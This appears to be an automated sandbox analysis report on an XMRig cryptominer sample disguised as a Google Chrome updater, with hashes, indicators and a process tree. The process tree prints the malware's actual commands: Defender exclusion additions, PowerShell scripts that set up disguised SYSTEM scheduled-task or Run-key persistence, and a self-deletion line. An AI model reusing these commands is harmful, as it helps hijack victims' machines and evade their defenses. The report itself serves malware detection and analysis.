xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1297s
max time network
1793s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2832 created 1196	2832	DLKFnAGYJBNTnxwq.exe	7
PID 2832 created 1196	2832	DLKFnAGYJBNTnxwq.exe	7
PID 2832 created 1196	2832	DLKFnAGYJBNTnxwq.exe	7
PID 2832 created 1196	2832	DLKFnAGYJBNTnxwq.exe	7
PID 2768 created 1196	2768	updater.exe	7
PID 2768 created 1196	2768	updater.exe	7
PID 2768 created 1196	2768	updater.exe	7
PID 2768 created 1196	2768	updater.exe	7
PID 1444 created 1196	1444	conhost.exe	7
PID 2768 created 1196	2768	updater.exe	7

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral9/memory/2356-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/2356-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2612	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2768	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1572	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/2356-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/2356-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2768 set thread context of 1444	2768	updater.exe	48
PID 2768 set thread context of 2356	2768	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	DLKFnAGYJBNTnxwq.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2532	schtasks.exe
2040	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1664	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0770d29ee50da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2832	DLKFnAGYJBNTnxwq.exe
2832	DLKFnAGYJBNTnxwq.exe
2664	powershell.exe
2832	DLKFnAGYJBNTnxwq.exe
2832	DLKFnAGYJBNTnxwq.exe
2796	powershell.exe
2832	DLKFnAGYJBNTnxwq.exe
2832	DLKFnAGYJBNTnxwq.exe
2832	DLKFnAGYJBNTnxwq.exe
2832	DLKFnAGYJBNTnxwq.exe
2600	powershell.exe
2768	updater.exe
2768	updater.exe
1528	powershell.exe
2768	updater.exe
2768	updater.exe
1420	powershell.exe
2768	updater.exe
2768	updater.exe
2768	updater.exe
2768	updater.exe
1444	conhost.exe
1444	conhost.exe
2768	updater.exe
2768	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	1420	powershell.exe
Token: SeDebugPrivilege	2768	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1664	WMIC.exe
Token: SeSecurityPrivilege	1664	WMIC.exe
Token: SeTakeOwnershipPrivilege	1664	WMIC.exe
Token: SeLoadDriverPrivilege	1664	WMIC.exe
Token: SeSystemtimePrivilege	1664	WMIC.exe
Token: SeBackupPrivilege	1664	WMIC.exe
Token: SeRestorePrivilege	1664	WMIC.exe
Token: SeShutdownPrivilege	1664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1664	WMIC.exe
Token: SeUndockPrivilege	1664	WMIC.exe
Token: SeManageVolumePrivilege	1664	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1664	WMIC.exe
Token: SeSecurityPrivilege	1664	WMIC.exe
Token: SeTakeOwnershipPrivilege	1664	WMIC.exe
Token: SeLoadDriverPrivilege	1664	WMIC.exe
Token: SeSystemtimePrivilege	1664	WMIC.exe
Token: SeBackupPrivilege	1664	WMIC.exe
Token: SeRestorePrivilege	1664	WMIC.exe
Token: SeShutdownPrivilege	1664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1664	WMIC.exe
Token: SeUndockPrivilege	1664	WMIC.exe
Token: SeManageVolumePrivilege	1664	WMIC.exe
Token: SeLockMemoryPrivilege	2356	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2796 wrote to memory of 2532	2796	powershell.exe	32
PID 2796 wrote to memory of 2532	2796	powershell.exe	32
PID 2796 wrote to memory of 2532	2796	powershell.exe	32
PID 2612 wrote to memory of 268	2612	cmd.exe	37
PID 2612 wrote to memory of 268	2612	cmd.exe	37
PID 2612 wrote to memory of 268	2612	cmd.exe	37
PID 2600 wrote to memory of 1168	2600	powershell.exe	38
PID 2600 wrote to memory of 1168	2600	powershell.exe	38
PID 2600 wrote to memory of 1168	2600	powershell.exe	38
PID 1572 wrote to memory of 2768	1572	taskeng.exe	41
PID 1572 wrote to memory of 2768	1572	taskeng.exe	41
PID 1572 wrote to memory of 2768	1572	taskeng.exe	41
PID 1420 wrote to memory of 2040	1420	powershell.exe	47
PID 1420 wrote to memory of 2040	1420	powershell.exe	47
PID 1420 wrote to memory of 2040	1420	powershell.exe	47
PID 2768 wrote to memory of 1444	2768	updater.exe	48
PID 1048 wrote to memory of 1664	1048	cmd.exe	53
PID 1048 wrote to memory of 1664	1048	cmd.exe	53
PID 1048 wrote to memory of 1664	1048	cmd.exe	53
PID 2768 wrote to memory of 2356	2768	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2532
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2040
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1444
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1952
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

C:\Windows\system32\taskeng.exe
taskeng.exe {54951AF1-46DC-46CA-BB24-8BDB40D0E366} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1572
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
db7d77f8bb24d6e03e68acf3a635a79f

SHA1
53c3728dfcc1af43ca89250b11ced57dc7223c14

SHA256
319a3d6efff803f386b7376944320652c09b6ff99135659cebf3db689b57b7f6

SHA512
1eec12d010381ed3aea1d02ffd44dc0973a671e822d949564af19e148dc21bdddcecd3dc021001956f903cdced5372d4568cb03538fb819d8d0eaf57d89d3760

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
180KB

MD5
268ec8e2014172f9f1fafd892a9dd264

SHA1
8f15390a858285dc85099a065f052b115d21f9ad

SHA256
2e6d69f9cd6e8c97d44652781472c63dc6b8284fca7777ad72081eac542dc67f

SHA512
4bfbc62fc123ff278423453bc23f2b45f495ff055c1a5b45e211e1f362cbd57020eb9932855b15e56b59afd603291fe21ca24335673bd081b9f21bcb39fa03e3

Download Submit
memory/1420-55-0x0000000000EA0000-0x0000000000F20000-memory.dmp

Filesize
512KB

Download
memory/1420-56-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/1420-58-0x0000000000EA0000-0x0000000000F20000-memory.dmp

Filesize
512KB

Download
memory/1420-54-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/1420-59-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/1420-57-0x0000000000EA0000-0x0000000000F20000-memory.dmp

Filesize
512KB

Download
memory/1444-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1444-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1528-52-0x0000000001310000-0x0000000001390000-memory.dmp

Filesize
512KB

Download
memory/1528-50-0x000007FEF4DA0000-0x000007FEF573D000-memory.dmp

Filesize
9.6MB

Download
memory/1528-49-0x0000000001310000-0x0000000001390000-memory.dmp

Filesize
512KB

Download
memory/1528-48-0x000007FEF4DA0000-0x000007FEF573D000-memory.dmp

Filesize
9.6MB

Download
memory/1528-51-0x0000000001310000-0x0000000001390000-memory.dmp

Filesize
512KB

Download
memory/1528-53-0x000007FEF4DA0000-0x000007FEF573D000-memory.dmp

Filesize
9.6MB

Download
memory/2356-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-82-0x0000000000BF0000-0x0000000000C10000-memory.dmp

Filesize
128KB

Download
memory/2356-81-0x0000000000870000-0x0000000000890000-memory.dmp

Filesize
128KB

Download
memory/2356-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-67-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/2356-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-70-0x0000000000870000-0x0000000000890000-memory.dmp

Filesize
128KB

Download
memory/2356-71-0x0000000000BF0000-0x0000000000C10000-memory.dmp

Filesize
128KB

Download
memory/2356-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2356-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2600-38-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2600-43-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2600-42-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2600-41-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2600-40-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2600-39-0x0000000002630000-0x00000000026B0000-memory.dmp

Filesize
512KB

Download
memory/2600-37-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-8-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2664-11-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-10-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2664-12-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2664-13-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2664-9-0x0000000002610000-0x0000000002690000-memory.dmp

Filesize
512KB

Download
memory/2664-6-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
